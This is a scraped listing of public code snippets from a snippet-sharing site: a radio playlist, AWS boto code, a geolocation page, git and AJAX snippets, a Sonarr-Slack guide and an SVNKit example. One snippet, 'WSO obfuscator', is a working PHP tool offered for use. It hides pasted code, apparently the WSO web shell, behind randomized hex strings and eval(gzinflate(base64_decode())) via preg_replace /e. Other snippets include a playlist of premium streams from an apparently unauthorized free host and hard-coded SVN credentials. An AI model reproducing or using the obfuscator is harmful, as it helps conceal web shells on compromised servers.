working on it ...

Filters

Explore Public Snippets

Sort by

Found 2.9M snippets matching: git

    public by sim642  626598  50  4  1

    Digitally Imported premium streams

    Digitally Imported premium streams: DI.m3u
    #EXTM3U
    
    #EXTINF:-1,Digitally Imported - Ambient
    http://pub1.diforfree.org:8000/di_ambient_hi
    
    #EXTINF:-1,Digitally Imported - Big Room House
    http://pub1.diforfree.org:8000/di_bigroomhouse_hi
    
    #EXTINF:-1,Digitally Imported - Breaks
    http://pub1.diforfree.org:8000/di_breaks_hi
    
    #EXTINF:-1,Digitally Imported - ChillHop
    http://pub1.diforfree.org:8000/di_chillhop_hi
    
    #EXTINF:-1,Digitally Imported - Chillout
    http://pub1.diforfree.org:8000/di_chillout_hi
    
    #EXTINF:-1,Digitally Imported - Chillout Dreams
    http://pub1.diforfree.org:8000/di_chilloutdreams_hi
    
    #EXTINF:-1,Digitally Imported - Chiptunes
    http://pub1.diforfree.org:8000/di_chiptunes_hi
    
    #EXTINF:-1,Digitally Imported - Classic EuroDance
    http://pub1.diforfree.org:8000/di_classiceurodance_hi
    
    #EXTINF:-1,Digitally Imported - Classic EuroDisco
    http://pub1.diforfree.org:8000/di_classiceurodisco_hi
    
    #EXTINF:-1,Digitally Imported - Classic Trance
    http://pub1.diforfree.org:8000/di_classictrance_hi
    
    #EXTINF:-1,Digitally Imported - Classic Vocal Trance
    http://pub1.diforfree.org:8000/di_classicvocaltrance_hi
    
    #EXTINF:-1,Digitally Imported - Club Dubstep
    http://pub1.diforfree.org:8000/di_clubdubstep_hi
    
    #EXTINF:-1,Digitally Imported - Club Sounds
    http://pub1.diforfree.org:8000/di_clubsounds_hi
    
    #EXTINF:-1,Digitally Imported - Cosmic Downtempo
    http://pub1.diforfree.org:8000/di_cosmicdowntempo_hi
    
    #EXTINF:-1,Digitally Imported - Dark DnB
    http://pub1.diforfree.org:8000/di_darkdnb_hi
    
    #EXTINF:-1,Digitally Imported - Deep House
    http://pub1.diforfree.org:8000/di_deephouse_hi
    
    #EXTINF:-1,Digitally Imported - Deep Nu-Disco
    http://pub1.diforfree.org:8000/di_deepnudisco_hi
    
    #EXTINF:-1,Digitally Imported - Deep Tech
    http://pub1.diforfree.org:8000/di_deeptech_hi
    
    #EXTINF:-1,Digitally Imported - Disco House 
    http://pub1.diforfree.org:8000/di_discohouse_hi
    
    #EXTINF:-1,Digitally Imported - DJ MIXES
    http://pub1.diforfree.org:8000/di_djmixes_hi
    
    #EXTINF:-1,Digitally Imported - Downtempo Lounge
    http://pub1.diforfree.org:8000/di_downtempolounge_hi
    
    #EXTINF:-1,Digitally Imported - Drum and Bass
    http://pub1.diforfree.org:8000/di_drumandbass_hi
    
    #EXTINF:-1,Digitally Imported - Dubstep
    http://pub1.diforfree.org:8000/di_dubstep_hi
    
    #EXTINF:-1,Digitally Imported - EcLectronica
    http://pub1.diforfree.org:8000/di_eclectronica_hi
    
    #EXTINF:-1,Digitally Imported - Electro House
    http://pub1.diforfree.org:8000/di_electrohouse_hi
    
    #EXTINF:-1,Digitally Imported - Epic Trance
    http://pub1.diforfree.org:8000/di_epictrance_hi
    
    #EXTINF:-1,Digitally Imported - EuroDance
    http://pub1.diforfree.org:8000/di_eurodance_hi
    
    #EXTINF:-1,Digitally Imported - Funky House
    http://pub1.diforfree.org:8000/di_funkyhouse_hi
    
    #EXTINF:-1,Digitally Imported - Future Synthpop
    http://pub1.diforfree.org:8000/di_futuresynthpop_hi
    
    #EXTINF:-1,Digitally Imported - Glitch Hop
    http://pub1.diforfree.org:8000/di_glitchhop_hi
    
    #EXTINF:-1,Digitally Imported - Goa & Psychedelic Trance
    http://pub1.diforfree.org:8000/di_goapsy_hi
    
    #EXTINF:-1,Digitally Imported - Hands Up 
    http://pub1.diforfree.org:8000/di_handsup_hi
    
    #EXTINF:-1,Digitally Imported - Hardcore
    http://pub1.diforfree.org:8000/di_hardcore_hi
    
    #EXTINF:-1,Digitally Imported - Hard Dance
    http://pub1.diforfree.org:8000/di_harddance_hi
    
    #EXTINF:-1,Digitally Imported - Hardstyle
    http://pub1.diforfree.org:8000/di_hardstyle_hi
    
    #EXTINF:-1,Digitally Imported - House
    http://pub1.diforfree.org:8000/di_house_hi
    
    #EXTINF:-1,Digitally Imported - Latin House
    http://pub1.diforfree.org:8000/di_latinhouse_hi
    
    #EXTINF:-1,Digitally Imported - Liquid DnB 
    http://pub1.diforfree.org:8000/di_liquiddnb_hi
    
    #EXTINF:-1,Digitally Imported - Liquid Dubstep
    http://pub1.diforfree.org:8000/di_liquiddubstep_hi
    
    #EXTINF:-1,Digitally Imported - Lounge
    http://pub1.diforfree.org:8000/di_lounge_hi
    
    #EXTINF:-1,Digitally Imported - Mainstage
    http://pub1.diforfree.org:8000/di_mainstage_hi
    
    #EXTINF:-1,Digitally Imported - Minimal
    http://pub1.diforfree.org:8000/di_minimal_hi
    
    #EXTINF:-1,Digitally Imported - Oldschool Acid
    http://pub1.diforfree.org:8000/di_oldschoolacid_hi
    
    #EXTINF:-1,Digitally Imported - Classic Electronica
    http://pub1.diforfree.org:8000/di_oldschoolelectronica_hi
    
    #EXTINF:-1,Digitally Imported - Progressive
    http://pub1.diforfree.org:8000/di_progressive_hi
    
    #EXTINF:-1,Digitally Imported - Progressive Psy
    http://pub1.diforfree.org:8000/di_progressivepsy_hi
    
    #EXTINF:-1,Digitally Imported - PsyChill
    http://pub1.diforfree.org:8000/di_psychill_hi
    
    #EXTINF:-1,Digitally Imported - Russian Club Hits
    http://pub1.diforfree.org:8000/di_russianclubhits_hi
    
    #EXTINF:-1,Digitally Imported - Sankeys Radio
    http://pub1.diforfree.org:8000/di_sankeys_hi
    
    #EXTINF:-1,Digitally Imported - Soulful House
    http://pub1.diforfree.org:8000/di_soulfulhouse_hi
    
    #EXTINF:-1,Digitally Imported - Space Dreams
    http://pub1.diforfree.org:8000/di_spacemusic_hi
    
    #EXTINF:-1,Digitally Imported - Tech House
    http://pub1.diforfree.org:8000/di_techhouse_hi
    
    #EXTINF:-1,Digitally Imported - Techno
    http://pub1.diforfree.org:8000/di_techno_hi
    
    #EXTINF:-1,Digitally Imported - Trance Channel
    http://pub1.diforfree.org:8000/di_trance_hi
    
    #EXTINF:-1,Digitally Imported - Trap
    http://pub1.diforfree.org:8000/di_trap_hi
    
    #EXTINF:-1,Digitally Imported - Tribal House
    http://pub1.diforfree.org:8000/di_tribalhouse_hi
    
    #EXTINF:-1,Digitally Imported - UK Garage
    http://pub1.diforfree.org:8000/di_ukgarage_hi
    
    #EXTINF:-1,Digitally Imported - UMF Radio
    http://pub1.diforfree.org:8000/di_umfradio_hi
    
    #EXTINF:-1,Digitally Imported - Vocal Chillout
    http://pub1.diforfree.org:8000/di_vocalchillout_hi
    
    #EXTINF:-1,Digitally Imported - Vocal Trance
    http://pub1.diforfree.org:8000/di_vocaltrance_hi
    
    
    
    

    public by fabio.nosenzo @ Amazon_AWS_Python_API  588131  5  8  -1

    Amazon S3 Aws - S3Connection object from python boto API

    This snippet is about the S3Connection object provided by python boto package for Amazon AWS API. Here the __init__ method is listed with all its variables. The AWSAuthConnection object is initialized and it handles all the data for managing requests and response from Amazon AWS service. Path: [boto/s3/connection.py] Learn more about S3Con
    import boto.utils
    from boto.connection import AWSAuthConnection
    
    class S3Connection(AWSAuthConnection):
        DefaultHost = boto.config.get('s3', 'host', 's3.amazonaws.com')
        DefaultCallingFormat = boto.config.get('s3', 'calling_format', 'boto.s3.connection.SubdomainCallingFormat')
        QueryString = 'Signature=%s&Expires=%d&AWSAccessKeyId=%s'
    
        def __init__(self, aws_access_key_id=None, aws_secret_access_key=None,
                     is_secure=True, port=None, proxy=None, proxy_port=None,
                     proxy_user=None, proxy_pass=None,
                     host=DefaultHost, debug=0, https_connection_factory=None,
                     calling_format=DefaultCallingFormat, path='/',
                     provider='aws', bucket_class=Bucket, security_token=None,
                     suppress_consec_slashes=True, anon=False,
                     validate_certs=None):
            if isinstance(calling_format, str):
                calling_format=boto.utils.find_class(calling_format)()
            self.calling_format = calling_format
            self.bucket_class = bucket_class
            self.anon = anon
            AWSAuthConnection.__init__(self, host,
                    aws_access_key_id, aws_secret_access_key,
                    is_secure, port, proxy, proxy_port, proxy_user, proxy_pass,
                    debug=debug, https_connection_factory=https_connection_factory,
                    path=path, provider=provider, security_token=security_token,
                    suppress_consec_slashes=suppress_consec_slashes,
                    validate_certs=validate_certs)

    public by sTiLL-iLL  547012  3  6  11

    Simple position tracker

    Simple position tracker: index.html
    <!Doctype html>
    <meta name="viewport" content="width=620" />
    <title>KnD-MApPA</title>
    <script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>
    <article>
        <p>Finding your location: <span id="status">checking...</span>
        </p>
    </article>
    <script>
        var map = "";
        var marker = "";
    
        function success2(position) {
            var latlng = new google.maps.LatLng(position.coords.latitude, position.coords.longitude);
            marker = new google.maps.Marker({
                    position: latlng,
                    map: map,
                    title: "You are here @ " + getDateTime() + " - (within a " + position.coords.accuracy + " meter radius)"
                });
        }
    
        function success(position) {
            var s = document.querySelector('#status');
    
            if (s.className == 'success') {
                // not sure why we're hitting this twice in FF, I think it's to do with a cached result coming back
                return;
            }
    
            s.innerHTML = "found you!";
            s.className = 'success';
    
            var mapcanvas = document.createElement('div');
            mapcanvas.id = 'mapcanvas';
            var w = window.innerWidth - 100;
            var h = '360px';
            mapcanvas.style.height = h;
            mapcanvas.style.width = w;
            mapcanvas.style.marginLeft = 'auto';
    
            document.querySelector('article').appendChild(mapcanvas);
    
            var latlng = new google.maps.LatLng(position.coords.latitude, position.coords.longitude);
            var myOptions = {
                zoom: 15,
                center: latlng,
                mapTypeControl: true,
                navigationControlOptions: {
                    style: google.maps.NavigationControlStyle.SMALL
                },
                mapTypeId: google.maps.MapTypeId.HYBRID
            };
            map = new google.maps.Map(document.getElementById("mapcanvas"), myOptions);
    
            marker = new google.maps.Marker({
                    position: latlng,
                    map: map,
                    title: "You are here @ " + getDateTime() + " - (at least within a " + position.coords.accuracy + " meter radius)"
                });
        }
    
        function getDateTime() {
            var now = new Date();
            var year = now.getFullYear();
            var month = now.getMonth() + 1;
            var day = now.getDate();
            var hour = now.getHours();
            var minute = now.getMinutes();
            var second = now.getSeconds();
            if (month.toString().length == 1) {
                var month = '0' + month;
            }
            if (day.toString().length == 1) {
                var day = '0' + day;
            }
            if (hour.toString().length == 1) {
                var hour = '0' + hour;
            }
            if (minute.toString().length == 1) {
                var minute = '0' + minute;
            }
            if (second.toString().length == 1) {
                var second = '0' + second;
            }
            var dateTime = month + '/' + day + '/' + year + ' ' + hour + ':' + minute + ':' + second;
            return dateTime;
        }
    
        function error(msg) {
            var s = document.querySelector('#status');
            s.innerHTML = typeof msg == 'string' ? msg : "failed";
            s.className = 'fail';
    
            // console.log(arguments);
        }
    
        var opts = {
            enableHighAccuracy: true
        }
    
        var wtch = "";
    
        if (navigator.geolocation) {
            navigator.geolocation.getCurrentPosition(success, error);
            wtch = navigator.geolocation.watchPosition(success2, error, opts)
        } else {
            error('not supported');
        }
    
        window.onbeforeunload(function(e) {
            navigator.geolocation.clearWatch(wtch);
        });
    </script>
    
    

    public by lbottaro  341335  3  7  1

    How to checkout the latest tag of a Git repository

    This simple bash script allows to automatically checkout your local git repository on the latest tagged version available on the remote repository. The script assumes to be run from your local repo. The command 'git rev-list --tags' lists the tags IDs in reverse chronological order, getting the very last one on top. The command 'git describe
    # Get new tags from the remote
    git fetch --tags
     
    # Get the latest tag name
    latestTag=$(git describe --tags `git rev-list --tags --max-count=1`)
     
    # Checkout the latest tag
    git checkout $latestTag  

    public by cynarasys  488667  9  4  1

    AJAX Request

    AJAX Request: ajax.php
    <script type="text/javascript">
        $('form').submit(function () {
            $('form button').attr("disabled", "disabled");
            $('#loading').fadeIn();
            $('#msj').html('');
            $.post('<?php echo Flight::base_url('contacto'); ?>', $('form').serializeArray(), function (d) {
                $('#loading').fadeOut();
                $('form button').removeAttr('disabled');
                $('#msj').html(d.msj);
                $('html, body').animate({scrollTop: $("#msj").offset().top}, 500);
                if (d.status === true) {
                    $('form').slideUp();
                } else {
                    $('#captcha').attr('src','<?php echo Flight::base_url('captcha'); ?>?' + Math.random());
                }
            }, 'json');
            return false;
        });
    </script>
    
    

    public by Justin P  407958  14  3  0

    How to setup notifications FROM Sonarr INTO Slack!!

    How to setup notifications FROM Sonarr INTO Slack!!: Sonarr-SlackNotifications
    Grab the URL for Incoming WebHooks from Slack:
    
      https://my.slack.com/services/new/incoming-webhook/
    
    After you complete that step, it looks a little like this:
    
      https://hooks.slack.com/TXXXXX/BXXXXX/XXXXXXXXXX
    
    Next create a new bash script with this code:
    
      #!/bin/bash
      curl -X POST --data-urlencode "payload={\"username\": \"Sonarr\", \"icon_emoji\": \":ghost:\", \"text\": \"$sonarr_eventtype: $sonarr_series_title S$sonarr_episodefile_seasonnumber E$sonarr_episodefile_episodenumbers ($sonarr_episodefile_quality)\"}" $1
      
    I personally have mine on the same drive as my Download Directories, so its all in one place - I use OS X FYI.
    
      /Volumes/Downloader/sonarr/scripts/slack.sh
      
    Now set the permissions so it can be executed by everyone, you can modify this if you know what user Sonarr runs under on your system.
    
      sudo chmod a+x ~/scripts/sonarr/slack.sh
      
    Now, go into Sonarr, Settings, "Connect" or the notifications page, and select "Custom Script"
    
    In the Text Fields:
    
      Name: <Name your notification>
      Path: <put full path to slack.sh here>
      Arguments: <put your Slack Webhook URL here>
      
    as in:
    
      Name: Slack
      Path: /Volumes/Downloader/slack/scripts/slack.sh
      Arguments: https://hooks.slack.com/TXXXXX/BXXXXX/XXXXXXXXXX
      
    Copied and edited liberally from <https://github.com/Sonarr/Sonarr/wiki/Sonarr-notifications-in-Slack-using-curl>
    
    

    public by divtagged  396060  1  4  0

    HTML Snippet : Form Row

    HTML Snippet : Form Row: form__row.html
    <div class="form__row">
        <label class="form__label" for="">
            Label
        </label>
        <div class="form__field">
            <input id="" placeholder="" name="" required="required" type="text" value="">
            <i class="form__field-icon"></i>
        </div>
    </div>
    
    

    public by Alessio Felicioni  394310  1  4  1

    gammu huawei fix

    gammu huawei fix: gistfile1.txt
    ReceiveFrequency = 60
    StatusFrequency = 60
    CommTimeout = 60
    SendTimeout = 60
    LoopSleep = 10
    CheckSecurity = 0
    
    

    public by Derek Pauley  381593  18  3  1

    SVNKit export from Subversion example

    SVNKit export from Subversion example: SvnExportExample.java
    import java.io.File;
    
    import org.tmatesoft.svn.core.SVNDepth;
    import org.tmatesoft.svn.core.SVNException;
    import org.tmatesoft.svn.core.SVNURL;
    import org.tmatesoft.svn.core.auth.ISVNAuthenticationManager;
    import org.tmatesoft.svn.core.io.SVNRepository;
    import org.tmatesoft.svn.core.io.SVNRepositoryFactory;
    import org.tmatesoft.svn.core.wc.SVNClientManager;
    import org.tmatesoft.svn.core.wc.SVNRevision;
    import org.tmatesoft.svn.core.wc.SVNUpdateClient;
    import org.tmatesoft.svn.core.wc.SVNWCUtil;
    
    
    public class SvnExportExample {
    
    	public static void main(String... args){
    		final String url = "svn://cavcops01.global.local/skunkworks";
    		final String destPath = "c:/temp/svntest";
    		
    		SVNRepository repository = null;
    		
    		try{
    			//initiate the reporitory from the url
    			repository = SVNRepositoryFactory.create(SVNURL.parseURIDecoded(url));
    			//create authentication data
    			ISVNAuthenticationManager authManager = 
    					SVNWCUtil.createDefaultAuthenticationManager("cliff.darling", "svnuser");
    			repository.setAuthenticationManager(authManager);
    			//output some data to verify connection
    			System.out.println( "Repository Root: " + repository.getRepositoryRoot( true ) );
    			System.out.println(  "Repository UUID: " + repository.getRepositoryUUID( true ) );
    			//need to identify latest revision
    			long latestRevision = repository.getLatestRevision();
    			System.out.println(  "Repository Latest Revision: " + latestRevision);
    			
    			//create client manager and set authentication
    			SVNClientManager ourClientManager = SVNClientManager.newInstance();
    			ourClientManager.setAuthenticationManager(authManager);
    			//use SVNUpdateClient to do the export
    			SVNUpdateClient updateClient = ourClientManager.getUpdateClient( );
    			updateClient.setIgnoreExternals( false );
    			updateClient.doExport( repository.getLocation(), new File(destPath), 
    					SVNRevision.create(latestRevision), SVNRevision.create(latestRevision), 
    					null, true, SVNDepth.INFINITY);
    			
    		} catch (SVNException e) {
    			e.printStackTrace();
    		}finally {
    			System.out.println("Done");
    		}
    	}
    }
    
    
    

    public by kvasilov48  369777  3  4  0

    WSO obfuscator

    WSO obfuscator: obfuscator.php
    <?php
    //Генерируем обфусцированный код для хитровыебанного вызова функций
    function gen_obfuscated_str($string, $letters, $varname){
        $length = strlen($string);
            for ($i=0; $i < $length; $i++){
                if (rand(0,1) == 0){
                    $pos = strpos($letters, $string[$i]);
                } else {
                    $pos = strrpos($letters, $string[$i]);
                }
                $result.= "\$".$varname."[".$pos."]";
                if($i != $length-1){
                    $result.=".";
                }
            }
        return $result;
    }
     
    //Обфускация \xNN
    function gen_obf_hex($array){
        $str_result="\"";
        foreach ($array as $h){
                $method = rand (0,5);
                switch($method){
                    case 0: $str_result.=$h; break;
                    case 1: $str_result.=strtolower($h); break;
                    case 2: 
                    case 3:    $hex = substr($h, 2,2);
                            $str_result.=chr(hexdec($hex));
                            break;
                    case 4:
                    case 5:    $hex = substr($h, 2,2);
                            $str_result.="\".chr(".hexdec($hex).").\"";
                            break;
            }
        }
        return $str_result."\"";
    }
     
    // Создание рандомных имен для переменных
    function gen_variable_name($letters){
        $result = substr(str_shuffle($letters),0,rand(1,7));
        return $result.rand(1,9999);
    }
     
    if ($_SERVER['REQUEST_METHOD']=='POST'){
        $content = $_POST['content']."<?php echo \"ONI NIHUYA NE ZDELAYUD!!!111";
        $content = base64_encode(gzdeflate($content,9));
        $symbols=str_shuffle("qwertyuiopasdfghjklzxcvbnm_1234567890*./)(;");
        $letters="QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm";
        
        //   eval(gzinflate(base64_decode(
        $hexeval = array ("\\x65","\\x76","\\x61","\\x6C","\\x28","\\x67","\\x7A","\\x69","\\x6E","\\x66","\\x6C","\\x61","\\x74","\\x65","\\x28","\\x62","\\x61","\\x73","\\x65","\\x36","\\x34","\\x5F","\\x64","\\x65","\\x63","\\x6F","\\x64","\\x65","\\x28",);
     
        //   )));
        $hexevalend = array("\\x29","\\x29","\\x29","\\x3B");
        
        //Создаем массив с рандомными переменными
        for($i=0;$i<5;$var_array[]=gen_variable_name($letters),$i++);
     
        //Получаем обфусцированные строки
        $start_eval = gen_obf_hex($hexeval);
        $end_eval = gen_obf_hex($hexevalend);
        $func = gen_obfuscated_str("preg_replace", $symbols,$var_array[0]);
        $func2 = gen_obfuscated_str("/.*/e", $symbols,$var_array[0]);
     
        //Формируем код обфусцированного скрипта
        $result_source = "<?рhp ";
        $result_source .= "\$".$var_array[0]." = \"".$symbols."\";";
        $result_source .= "\$".$var_array[1]." = ".$func.";";
        $result_source .= "\$".$var_array[2]." = ".$start_eval.";";
        $result_source .= "\$".$var_array[3]." = ".$end_eval.";";
        $result_source .= "\$".$var_array[4]." = \$".$var_array[2].".\"'".$content."'\".\$".$var_array[3].";";
        //Рандомнасть всюду!
        $result_source .= "\$".$var_array[1].""."(".$func2.", \$".$var_array[4]."  ,\"".rand(100,999)."\");";
    } else{
        $result_source='';
    }
    ?>
    <html>
    <head><title>WSO-Obfuscator</title></head>
    <style>
    body {
        background:url('http://krober.biz/wp-content/uploads/2014/11/bg2.png');
        font-family:Verdana, sans-serif;
    }
    textarea{
        font-family:"Lucida Console", sans-serif;
        font-size: 12px;
        border:4px solid #000;
        border-radius-left: 15px;
    }
    input{
        border:4px solid #000;
        font-family:"Lucida Console", sans-serif;
        font-size: 27px;
    }
    </style>
    <body>
    <form method="post"><center>
    <h2>...:::  E1337 PR1V8 0bf s0f7  :::...</h2>
    <textarea name="content" rows="30" cols="100">
    <?=$result_source;?>
    </textarea><br><br>
    <input type="submit" value=">>|>> 08FUSK8 <<|<<">
    </form>
    </body>
    </html>
    
    
    • Public Snippets
    • Channels Snippets